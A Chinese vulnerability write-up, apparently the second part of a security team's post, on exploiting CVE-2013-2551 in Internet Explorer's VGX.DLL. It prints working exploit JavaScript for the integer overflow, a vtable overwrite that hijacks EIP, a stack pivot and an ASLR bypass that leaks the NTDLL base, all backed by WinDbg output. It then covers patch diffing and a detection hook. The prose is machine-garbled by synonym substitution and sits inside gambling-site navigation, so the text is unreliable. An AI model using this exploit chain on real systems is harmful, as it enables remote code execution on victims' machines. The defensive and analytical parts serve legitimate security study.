欢迎来到兴华永恒!加入收藏设为首页
新葡京导航
您当前所在位置:首页 > 手艺专栏 > 专业公布
手艺专栏
澳门新普京

CVE-2013-2551样本阐发及破绽操纵和防备(下篇)



3.4 挟制EIP

挟制EIP的源码大抵以下:

for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
location.reload();

因为0x0c0c0c0c在内存中存在太多,不方便搜索,将其修正为一个比力特别的值0x0eeeee0e,然后参加弹框

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");

利用windbg附加运转,在弹框后停息,然后搜索数值0x0eeeee0e

0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49  0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc  ....%......t....
01a2ca8a  0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a  ....%..[.(.t....
01a2cfc0  0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00  ................
12b60280  0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12  ....P........<..

按照对其,能够解除第一个搜索成果,因为搜索到的成果不多,能够按照其散布在数组{1,2,3,4}以后寻觅

颠末在内存中往上寻觅数组,地址0x12b60280契合条件

检察四周内存规划

10.png

我们看到,一个COAShape工具紧接着一个COAReturnedPointsForAnchor工具,它们占用的内存空间都是一样的。按照源码,我们能够知道,经由过程安插跟工具巨细不异的数组,操纵溢出,定位到后一个工具(此处是COAShape工具)的虚表

检察COAShape虚表的内容

11.png

此时我们知道虚表指针被改写了

对0x0eeeee0e下施行断点,中止时检察函数的挪用干系

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...

检察上层挪用

mshtml!ClearInterfaceFn:
6a23f202 8b08            mov     ecx,dword ptr [eax]
6a23f204 832000          and     dword ptr [eax],0
6a23f207 85c9            test    ecx,ecx
6a23f209 7501            jne     mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3              ret
6a23f20c 8b01            mov     eax,dword ptr [ecx]
6a23f20e 51              push    ecx
6a23f20f ff5008          call    dword ptr [eax+8]
6a23f212 ebf7            jmp     mshtml!ClearInterfaceFn+0xf (6a23f20b)

地址0x6a23f20f是在挪用虚表第二项,一般状况是Release函数,溢出后,挟制了EIP

机关的操纵样本将在此处施行换栈操纵

0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94              xchg    eax,esp

3.5 不利用0x7ffe0300保守NTDLL.DLL基址过ASLR

利用牢固偏移保守NTDLL.DLL的基址在打过补钉的Windows 7体系上曾经不能利用了,实践操纵中局限性比较大。我们能够思索保守其他模块的基址,大概换种思绪保守NTDLL.DLL基址

关于已有的操纵代码来说换种方法保守NTDLL.DLL基址对代码的窜改量比较小

检察破绽模块本身的导入表信息

1492415632123430.png

好吧,没有导入NTDLL.DLL的函数。那么我也比力懒,保守VGX.DLL模块的基址,经由过程导入表找到KERNEL32.DLL,针对此中某个函数到NTDLL.DLL基址的牢固偏移保守NTDLL.DLL基址。简朴可行,源码窜改小。固然,缺陷是VGX.DLL模块版本限制太死

源码大抵以下:

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 /////////////////////////////////////////////////////////
 //offset to PE
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
 var leak = a[i].marginLeft;
 
 pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find import directory
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
 var leak = a[i].marginLeft;
 
 import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 //find kernel32.dll
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
 var leak = a[i].marginLeft;
 
 thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find first function address
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
 var leak = a[i].marginLeft;
 
 first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 ntdll_base = first_function_addr - 0x47760;
  
 //return original value
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 /////////////////////////////////////////////////////////
 alert("base of ntdll.dll : " + ntdll_base.toString(16));
 break;
 }
 }
 return ntdll_base;

0x4 破绽检测

经由过程本文第二部门阐发,曾经知道在vgx!ORG::CElements函数内形成溢出

源码中的枢纽溢出语句:

vml1.dashstyle.array.length = 0 - 1;

从数据干系的角度来看,银行柜台打点存款业务时,柜员收到现金的时分,该当先验钞仍是先打点存款注销再考证钞票真伪?谜底明显是前者。那么我们的检测点也该当提早到数据输入的处所。

4.1 按照微软安全通告下载补钉

按照微软的安全通告MS13-037下载到补钉KB2829530,补钉前后的VGX.DLL文件版本别离为

  • [补钉前]:8.0.7601.18106

  • [补钉后]:8.0.7601.18126

4.2 利用Bindiff比照文件

利用Bindiff比照vgx.dll以后,按照标记称号推测是在COALineDashStyleArray::put_length函数停止的修补

1492415733560282.png

停止比照

1492415747861420.png

经由过程Windbg调试考证

走到判定数值能否小于0

3.png

G一下,操纵样本一般运转,没有触发破绽

4.png

我们能够钩取COALineDashStyleArray::put_length函数前五字节,插入判定代码,判定参数的值能否小于0,假如小于0提醒用户触发CVE-2013-2551,不然复原流程

1492415789530372.png

检测代码编写略

检测结果截图

1492415811368468.png

0x5 总结

该破绽属于整数溢出破绽。其破绽缘故原由在于VGX.DLL模块中处置dashstyle.array.length属性时未对输入参数停止有用查抄。操纵溢出形成随便地址读写,改写虚表指针挟制EIP得到随便代码施行的才能

按照参考代码,笔者经由过程保守NTDLL.DLL模块基址的方法绕过ASLR,固然,此次绕过的方法其实不具有通用性,破绽操纵本领也是笔者需求更多进修、考虑以及参考田野样本操纵方法待以提拔的处所

最初编码对该破绽操纵样本停止静态检测,从数据干系的角度来看,必然是在获得内部数据的位置布置检测代码。笔者对枢纽函数停止API HOOK,一旦内部数据不合法立刻提醒给用户

0x6 参考资料

[1] 

[2] 

[3]  

[4] 

[5] Yang Yu《DEP-ASLR bypass without ROP-JIT》

*本文为 华兴永恒安全团队公布,如若转载,请说明滥觞兴华永恒:www.ardsec.com


在线征询 周一至周五
09:00-18:00